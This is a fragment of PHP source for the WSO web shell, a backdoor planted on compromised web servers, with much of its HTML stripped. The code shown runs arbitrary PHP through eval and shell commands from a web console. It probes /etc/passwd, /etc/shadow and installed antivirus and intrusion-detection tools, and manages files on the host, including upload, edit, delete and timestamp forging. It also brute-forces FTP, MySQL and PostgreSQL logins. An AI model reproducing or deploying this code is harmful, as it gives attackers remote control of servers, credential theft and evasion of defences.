\';\n\n\tif($GLOBALS[\'os\'] == \'nix\') {\n wsoSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes [view]":\'no\');\n wsoSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes [view]":\'no\');\n wsoSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\n wsoSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\n if(!$GLOBALS[\'safe_mode\']) {\n $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\n $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\n $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\n echo \'
\';\n $temp=array();\n foreach ($userful as $item)\n if(wsoWhich($item))\n $temp[] = $item;\n wsoSecParam(\'Userful\', implode(\', \',$temp));\n $temp=array();\n foreach ($danger as $item)\n if(wsoWhich($item))\n $temp[] = $item;\n wsoSecParam(\'Danger\', implode(\', \',$temp));\n $temp=array();\n foreach ($downloaders as $item)\n if(wsoWhich($item))\n $temp[] = $item;\n wsoSecParam(\'Downloaders\', implode(\', \',$temp));\n echo \'
\';\n wsoSecParam(\'HDD space\', wsoEx(\'df -h\'));\n wsoSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\n echo \'
posix_getpwuid ("Read" /etc/passwd)
From
To
\';\n if (isset ($_POST[\'p2\'], $_POST[\'p3\']) && is_numeric($_POST[\'p2\']) && is_numeric($_POST[\'p3\'])) {\n $temp = "";\n for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {\n $uid = @posix_getpwuid($_POST[\'p2\']);\n if ($uid)\n $temp .= join(\':\',$uid)."\\n";\n }\n echo \'
\';\n wsoSecParam(\'Users\', $temp);\n }\n }\n\t} else {\n\t\twsoSecParam(\'OS Version\',wsoEx(\'ver\'));\n\t\twsoSecParam(\'Account Settings\',wsoEx(\'net accounts\'));\n\t\twsoSecParam(\'User Accounts\',wsoEx(\'net user\'));\n\t}\n\techo \'
\';\n\twsoFooter();\n}\n\nfunction actionPhp() {\n\tif(isset($_POST[\'ajax\'])) {\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', true);\n\t\tob_start();\n\t\teval($_POST[\'p1\']);\n\t\t$temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'" . addcslashes(htmlspecialchars(ob_get_clean()), "\\n\\r\\t\\\\\'\\0") . "\';\\n";\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit;\n\t}\n if(empty($_POST[\'ajax\']) && !empty($_POST[\'p1\']))\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', 0);\n\n\twsoHeader();\n\tif(isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\')) {\n\t\techo \'

PHP info

\';\n\t\tob_start();\n\t\tphpinfo();\n\t\t$tmp = ob_get_clean();\n $tmp = preg_replace(array (\n \'!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU\',\n \'!td, th {(.*)}!msiU\',\n \'!]+>!msiU\',\n ), array (\n \'\',\n \'.e, .v, .h, .h th {$1}\',\n \'\'\n ), $tmp);\n\t\techo str_replace(\'
\';\n\t}\n echo \'

Execution PHP-code

\';\n\techo \' send using AJAX
\';\n\tif(!empty($_POST[\'p1\'])) {\n\t\tob_start();\n\t\teval($_POST[\'p1\']);\n\t\techo htmlspecialchars(ob_get_clean());\n\t}\n\techo \'
\';\n\twsoFooter();\n}\n\nfunction actionFilesMan() {\n if (!empty ($_COOKIE[\'f\']))\n $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\n \n\tif(!empty($_POST[\'p1\'])) {\n\t\tswitch($_POST[\'p1\']) {\n\t\t\tcase \'uploadFile\':\n\t\t\t\tif(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))\n\t\t\t\t\techo "Can\'t upload file!";\n\t\t\t\tbreak;\n\t\t\tcase \'mkdir\':\n\t\t\t\tif(!@mkdir($_POST[\'p2\']))\n\t\t\t\t\techo "Can\'t create new dir";\n\t\t\t\tbreak;\n\t\t\tcase \'delete\':\n\t\t\t\tfunction deleteDir($path) {\n\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\n\t\t\t\t\t$dh = opendir($path);\n\t\t\t\t\twhile ( ($item = readdir($dh) ) !== false) {\n\t\t\t\t\t\t$item = $path.$item;\n\t\t\t\t\t\tif ( (basename($item) == "..") || (basename($item) == ".") )\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t$type = filetype($item);\n\t\t\t\t\t\tif ($type == "dir")\n\t\t\t\t\t\t\tdeleteDir($item);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t@unlink($item);\n\t\t\t\t\t}\n\t\t\t\t\tclosedir($dh);\n\t\t\t\t\t@rmdir($path);\n\t\t\t\t}\n\t\t\t\tif(is_array(@$_POST[\'f\']))\n\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\n if($f == \'..\')\n continue;\n\t\t\t\t\t\t$f = urldecode($f);\n\t\t\t\t\t\tif(is_dir($f))\n\t\t\t\t\t\t\tdeleteDir($f);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t@unlink($f);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase \'paste\':\n\t\t\t\tif($_COOKIE[\'act\'] == \'copy\') {\n\t\t\t\t\tfunction copy_paste($c,$s,$d){\n\t\t\t\t\t\tif(is_dir($c.$s)){\n\t\t\t\t\t\t\tmkdir($d.$s);\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n\t\t\t\t\t\t} elseif(is_file($c.$s))\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\n\t\t\t\t\t}\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\n\t\t\t\t\t\tcopy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'move\') {\n\t\t\t\t\tfunction move_paste($c,$s,$d){\n\t\t\t\t\t\tif(is_dir($c.$s)){\n\t\t\t\t\t\t\tmkdir($d.$s);\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n\t\t\t\t\t\t} elseif(@is_file($c.$s))\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\n\t\t\t\t\t}\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\n\t\t\t\t\t\t@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'zip\') {\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\n $zip = new ZipArchive();\n if ($zip->open($_POST[\'p2\'], 1)) {\n chdir($_COOKIE[\'c\']);\n foreach($_COOKIE[\'f\'] as $f) {\n if($f == \'..\')\n continue;\n if(@is_file($_COOKIE[\'c\'].$f))\n $zip->addFile($_COOKIE[\'c\'].$f, $f);\n elseif(@is_dir($_COOKIE[\'c\'].$f)) {\n $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\n foreach ($iterator as $key=>$value) {\n $zip->addFile(realpath($key), $key);\n }\n }\n }\n chdir($GLOBALS[\'cwd\']);\n $zip->close();\n }\n }\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'unzip\') {\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\n $zip = new ZipArchive();\n foreach($_COOKIE[\'f\'] as $f) {\n if($zip->open($_COOKIE[\'c\'].$f)) {\n $zip->extractTo($GLOBALS[\'cwd\']);\n $zip->close();\n }\n }\n }\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'tar\') {\n chdir($_COOKIE[\'c\']);\n $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\n wsoEx(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\n chdir($GLOBALS[\'cwd\']);\n\t\t\t\t}\n\t\t\t\tunset($_COOKIE[\'f\']);\n setcookie(\'f\', \'\', time() - 3600);\n\t\t\t\tbreak;\n\t\t\tdefault:\n if(!empty($_POST[\'p1\'])) {\n\t\t\t\t\tWSOsetcookie(\'act\', $_POST[\'p1\']);\n\t\t\t\t\tWSOsetcookie(\'f\', serialize(@$_POST[\'f\']));\n\t\t\t\t\tWSOsetcookie(\'c\', @$_POST[\'c\']);\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t}\n wsoHeader();\n\techo \'

File manager

\';\n\t$dirContent = wsoScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\n\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';wsoFooter(); return; }\n\tglobal $sort;\n\t$sort = array(\'name\', 1);\n\tif(!empty($_POST[\'p1\'])) {\n\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\n\t\t\t$sort = array($match[1], (int)$match[2]);\n\t}\necho "\n\n";\n\t$dirs = $files = array();\n\t$n = count($dirContent);\n\tfor($i=0;$i<$n;$i++) {\n\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\n\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\n\t\t$tmp = array(\'name\' => $dirContent[$i],\n\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\n\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\n\t\t\t\t\t \'perms\' => wsoPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\n\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\n\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\n\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\n\t\t\t\t\t);\n\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\n\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\n\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\n\t}\n\t$GLOBALS[\'sort\'] = $sort;\n\tfunction wsoCmp($a, $b) {\n\t\tif($GLOBALS[\'sort\'][0] != \'size\')\n\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\n\t\telse\n\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\n\t}\n\tusort($files, "wsoCmp");\n\tusort($dirs, "wsoCmp");\n\t$files = array_merge($dirs, $files);\n\t$l = 0;\n\tforeach($files as $f) {\n\t\techo \'\';\n\t\t$l = $l?0:1;\n\t}\n\techo "
NameSizeModifyOwner/GroupPermissionsActions
\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'>[ \' . htmlspecialchars($f[\'name\']) . \' ]\').\'\'.(($f[\'type\']==\'file\')?wsoViewSize($f[\'size\']):$f[\'type\']).\'\'.$f[\'modify\'].\'\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'\'.$f[\'perms\']\n\t\t\t.\'R T\'.(($f[\'type\']==\'file\')?\' E D\':\'\').\'
\n\t\n\t\n\t\n\t ";\n if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\n echo "file name:  ";\n echo ">\'>
";\n\twsoFooter();\n}\n\nfunction actionStringTools() {\n\tif(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}\n if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}\n\tif(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i \'base64_encode\',\n\t\t\'Base64 decode\' => \'base64_decode\',\n\t\t\'Url encode\' => \'urlencode\',\n\t\t\'Url decode\' => \'urldecode\',\n\t\t\'Full urlencode\' => \'full_urlencode\',\n\t\t\'md5 hash\' => \'md5\',\n\t\t\'sha1 hash\' => \'sha1\',\n\t\t\'crypt\' => \'crypt\',\n\t\t\'CRC32\' => \'crc32\',\n\t\t\'ASCII to HEX\' => \'ascii2hex\',\n\t\t\'HEX to ASCII\' => \'hex2ascii\',\n\t\t\'HEX to DEC\' => \'hexdec\',\n\t\t\'HEX to BIN\' => \'hex2bin\',\n\t\t\'DEC to HEX\' => \'dechex\',\n\t\t\'DEC to BIN\' => \'decbin\',\n\t\t\'BIN to HEX\' => \'binhex\',\n\t\t\'BIN to DEC\' => \'bindec\',\n\t\t\'String to lower case\' => \'strtolower\',\n\t\t\'String to upper case\' => \'strtoupper\',\n\t\t\'Htmlspecialchars\' => \'htmlspecialchars\',\n\t\t\'String length\' => \'strlen\',\n\t);\n\tif(isset($_POST[\'ajax\'])) {\n\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n\t\tob_start();\n\t\tif(in_array($_POST[\'p1\'], $stringTools))\n\t\t\techo $_POST[\'p1\']($_POST[\'p2\']);\n\t\t$temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit;\n\t}\n if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n\twsoHeader();\n\techo \'

String conversions

\';\n\techo "
>\'/> send using AJAX
";\n\tif(!empty($_POST[\'p1\'])) {\n\t\tif(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));\n\t}\n\techo"

Search files:

\n\t\t
\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t
Text:
Path:
Name:
>\'>
";\n\n\tfunction wsoRecursiveGlob($path) {\n\t\tif(substr($path, -1) != \'/\')\n\t\t\t$path.=\'/\';\n\t\t$paths = @array_unique(@array_merge(@glob($path.$_POST[\'p3\']), @glob($path.\'*\', GLOB_ONLYDIR)));\n\t\tif(is_array($paths)&&@count($paths)) {\n\t\t\tforeach($paths as $item) {\n\t\t\t\tif(@is_dir($item)){\n\t\t\t\t\tif($path!=$item)\n\t\t\t\t\t\twsoRecursiveGlob($item);\n\t\t\t\t} else {\n\t\t\t\t\tif(empty($_POST[\'p2\']) || @strpos(file_get_contents($item), $_POST[\'p2\'])!==false)\n\t\t\t\t\t\techo "".htmlspecialchars($item)."
";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tif(@$_POST[\'p3\'])\n\t\twsoRecursiveGlob($_POST[\'c\']);\n\techo "

Search for hash:

\n\t\t
\n\t\t\t
\n \n\t\t\t
\n\t\t\t
\n
\n\t\t
";\n\twsoFooter();\n}\n\nfunction actionFilesTools() {\n\tif( isset($_POST[\'p1\']) )\n\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\n\tif(@$_POST[\'p2\']==\'download\') {\n\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\n\t\t\tob_start("ob_gzhandler", 4096);\n\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\n\t\t\tif (function_exists("mime_content_type")) {\n\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\n\t\t\t\theader("Content-Type: " . $type);\n\t\t\t} else\n header("Content-Type: application/octet-stream");\n\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\n\t\t\tif($fp) {\n\t\t\t\twhile(!@feof($fp))\n\t\t\t\t\techo @fread($fp, 1024);\n\t\t\t\tfclose($fp);\n\t\t\t}\n\t\t}exit;\n\t}\n\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\n\t\tif(!file_exists($_POST[\'p1\'])) {\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\n\t\t\tif($fp) {\n\t\t\t\t$_POST[\'p2\'] = "edit";\n\t\t\t\tfclose($fp);\n\t\t\t}\n\t\t}\n\t}\n\twsoHeader();\n\techo \'

File tools

\';\n\tif( !file_exists(@$_POST[\'p1\']) ) {\n\t\techo \'File not exists\';\n\t\twsoFooter();\n\t\treturn;\n\t}\n\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\n\tif(!$uid) {\n\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\n\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\n\t} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\n\techo \'Name: \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' Size: \'.(is_file($_POST[\'p1\'])?wsoViewSize(filesize($_POST[\'p1\'])):\'-\').\' Permission: \'.wsoPermsColor($_POST[\'p1\']).\' Owner/Group: \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'
\';\n\techo \'Change time: \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' Access time: \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' Modify time: \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'

\';\n\tif( empty($_POST[\'p2\']) )\n\t\t$_POST[\'p2\'] = \'view\';\n\tif( is_file($_POST[\'p1\']) )\n\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');\n\telse\n\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\n\tforeach($m as $v)\n\t\techo \'\'.((strtolower($v)==@$_POST[\'p2\'])?\'[ \'.$v.\' ]\':$v).\' \';\n\techo \'

\';\n\tswitch($_POST[\'p2\']) {\n\t\tcase \'view\':\n\t\t\techo \'
\';\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\n\t\t\tif($fp) {\n\t\t\t\twhile( !@feof($fp) )\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\n\t\t\t\t@fclose($fp);\n\t\t\t}\n\t\t\techo \'
\';\n\t\t\tbreak;\n\t\tcase \'highlight\':\n\t\t\tif( @is_readable($_POST[\'p1\']) ) {\n\t\t\t\techo \'
\';\n\t\t\t\t$code = @highlight_file($_POST[\'p1\'],true);\n\t\t\t\techo str_replace(array(\'\'), array(\'\'),$code).\'
\';\n\t\t\t}\n\t\t\tbreak;\n\t\tcase \'chmod\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$perms = 0;\n\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\n\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\n\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\n\t\t\t\t\techo \'Can\\\'t set permissions!
\';\n\t\t\t}\n\t\t\tclearstatcache();\n\t\t\techo \'
\';\n\t\t\tbreak;\n\t\tcase \'edit\':\n\t\t\tif( !is_writable($_POST[\'p1\'])) {\n\t\t\t\techo \'File isn\\\'t writeable\';\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$time = @filemtime($_POST[\'p1\']);\n\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\n\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\n\t\t\t\tif($fp) {\n\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\n\t\t\t\t\t@fclose($fp);\n\t\t\t\t\techo \'Saved!
\';\n\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\n\t\t\t\t}\n\t\t\t}\n\t\t\techo \'
\';\n\t\t\tbreak;\n\t\tcase \'hexdump\':\n\t\t\t$c = @file_get_contents($_POST[\'p1\']);\n\t\t\t$n = 0;\n\t\t\t$h = array(\'00000000
\',\'\',\'\');\n\t\t\t$len = strlen($c);\n\t\t\tfor ($i=0; $i<$len; ++$i) {\n\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\n\t\t\t\tswitch ( ord($c[$i]) ) {\n\t\t\t\t\tcase 0: $h[2] .= \' \'; break;\n\t\t\t\t\tcase 9: $h[2] .= \' \'; break;\n\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\n\t\t\t\t\tcase 13: $h[2] .= \' \'; break;\n\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\n\t\t\t\t}\n\t\t\t\t$n++;\n\t\t\t\tif ($n == 32) {\n\t\t\t\t\t$n = 0;\n\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'
\';}\n\t\t\t\t\t$h[1] .= \'
\';\n\t\t\t\t\t$h[2] .= "\\n";\n\t\t\t\t}\n\t\t \t}\n\t\t\techo \'
\'.$h[0].\'
\'.$h[1].\'
\'.htmlspecialchars($h[2]).\'
\';\n\t\t\tbreak;\n\t\tcase \'rename\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\n\t\t\t\t\techo \'Can\\\'t rename!
\';\n\t\t\t\telse\n\t\t\t\t\tdie(\'\');\n\t\t\t}\n\t\t\techo \'
\';\n\t\t\tbreak;\n\t\tcase \'touch\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$time = strtotime($_POST[\'p3\']);\n\t\t\t\tif($time) {\n\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\n\t\t\t\t\t\techo \'Fail!\';\n\t\t\t\t\telse\n\t\t\t\t\t\techo \'Touched!\';\n\t\t\t\t} else echo \'Bad time format!\';\n\t\t\t}\n\t\t\tclearstatcache();\n\t\t\techo \'
\';\n\t\t\tbreak;\n\t}\n\techo \'
\';\n\twsoFooter();\n}\n\nfunction actionConsole() {\n if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\n $_POST[\'p1\'] .= \' 2>&1\';\n } elseif(!empty($_POST[\'p1\']))\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\n\n\tif(isset($_POST[\'ajax\'])) {\n\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n\t\tob_start();\n\t\techo "d.cf.cmd.value=\'\';\\n";\n\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".wsoEx($_POST[\'p1\']),"\\n\\r\\t\\\\\'\\0"));\n\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\n\t\t\tif(@chdir($match[1])) {\n\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\n\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\n\t\t\t}\n\t\t}\n\t\techo "d.cf.output.value+=\'".$temp."\';";\n\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\n\t\t$temp = ob_get_clean();\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit;\n\t}\n if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n\twsoHeader();\n echo "";\n\techo \'

Console

send using AJAX redirect stderr to stdout (2>&1)
$
\';\n\techo \'
\';\n\twsoFooter();\n}\n\nfunction actionLogout() {\n setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\n\tdie(\'bye!\');\n}\n\nfunction actionSelfRemove() {\n\n\tif($_POST[\'p1\'] == \'yes\')\n\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\n\t\t\tdie(\'Shell has been removed\');\n\t\telse\n\t\t\techo \'unlink error!\';\n if($_POST[\'p1\'] != \'yes\')\n wsoHeader();\n\techo \'

Suicide

Really want to remove the shell?
Yes
\';\n\twsoFooter();\n}\n\nfunction actionBruteforce() {\n\twsoHeader();\n\tif( isset($_POST[\'proto\']) ) {\n\t\techo \'

Results

Type: \'.htmlspecialchars($_POST[\'proto\']).\' Server: \'.htmlspecialchars($_POST[\'server\']).\'
\';\n\t\tif( $_POST[\'proto\'] == \'ftp\' ) {\n\t\t\tfunction wsoBruteForce($ip,$port,$login,$pass) {\n\t\t\t\t$fp = @ftp_connect($ip, $port?$port:21);\n\t\t\t\tif(!$fp) return false;\n\t\t\t\t$res = @ftp_login($fp, $login, $pass);\n\t\t\t\t@ftp_close($fp);\n\t\t\t\treturn $res;\n\t\t\t}\n\t\t} elseif( $_POST[\'proto\'] == \'mysql\' ) {\n\t\t\tfunction wsoBruteForce($ip,$port,$login,$pass) {\n\t\t\t\t$res = @mysql_connect($ip.\':\'.($port?$port:3306), $login, $pass);\n\t\t\t\t@mysql_close($res);\n\t\t\t\treturn $res;\n\t\t\t}\n\t\t} elseif( $_POST[\'proto\'] == \'pgsql\' ) {\n\t\t\tfunction wsoBruteForce($ip,$port,$login,$pass) {\n\t\t\t\t$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";\n\t\t\t\t$res = @pg_connect($str);\n\t\t\t\t@pg_close($res);\n\t\t\t\treturn $res;\n\t\t\t}\n\t\t}\n\t\t$success = 0;\n\t\t$attempts = 0;\n\t\t$server = explode(":", $_POST[\'server\']);\n\t\tif($_POST[\'type\'] == 1) {\n\t\t\t$temp = @file(\'/etc/passwd\');\n\t\t\tif( is_array($temp) )\n\t\t\t\tforeach($temp as $line) {\n\t\t\t\t\t$line = explode(":", $line);\n\t\t\t\t\t++$attempts;\n\t\t\t\t\tif( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {\n\t\t\t\t\t\t$success++;\n\t\t\t\t\t\techo \'\'.htmlspecialchars($line[0]).\':\'.htmlspecialchars($line[0]).\'
\';\n\t\t\t\t\t}\n\t\t\t\t\tif(@$_POST[\'reverse\']) {\n\t\t\t\t\t\t$tmp = "";\n\t\t\t\t\t\tfor($i=strlen($line[0])-1; $i>=0; --$i)\n\t\t\t\t\t\t\t$tmp .= $line[0][$i];\n\t\t\t\t\t\t++$attempts;\n\t\t\t\t\t\tif( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {\n\t\t\t\t\t\t\t$success++;\n\t\t\t\t\t\t\techo \'\'.htmlspecialchars($line[0]).\':\'.htmlspecialchars($tmp);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t} elseif($_POST[\'type\'] == 2) {\n\t\t\t$temp = @file($_POST[\'dict\']);\n\t\t\tif( is_array($temp) )\n\t\t\t\tforeach($temp as $line) {\n\t\t\t\t\t$line = trim($line);\n\t\t\t\t\t++$attempts;\n\t\t\t\t\tif( wsoBruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {\n\t\t\t\t\t\t$success++;\n\t\t\t\t\t\techo \'\'.htmlspecialchars($_POST[\'login\']).\':\'.htmlspecialchars($line).\'
\';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t}\n\t\techo "Attempts: $attempts Success: $success

";\n\t}\n\techo \'

Bruteforce

\'\n\t\t.\'\'\n\t\t.\'\'\n\t\t.\'\'\n\t\t.\'\'\n\t\t.\'\'\n\t\t.\'\'\n\t\t.\'
Type
\'\n\t\t.\'\'\n\t\t.\'\'\n\t\t.\'\'\n\t\t.\'Server:port
Brute type
\'\n\t\t.\'\'\n\t\t.\'\'\n\t\t.\'
Login
Dictionary
\'\n\t\t.\'
\';\n\techo \'

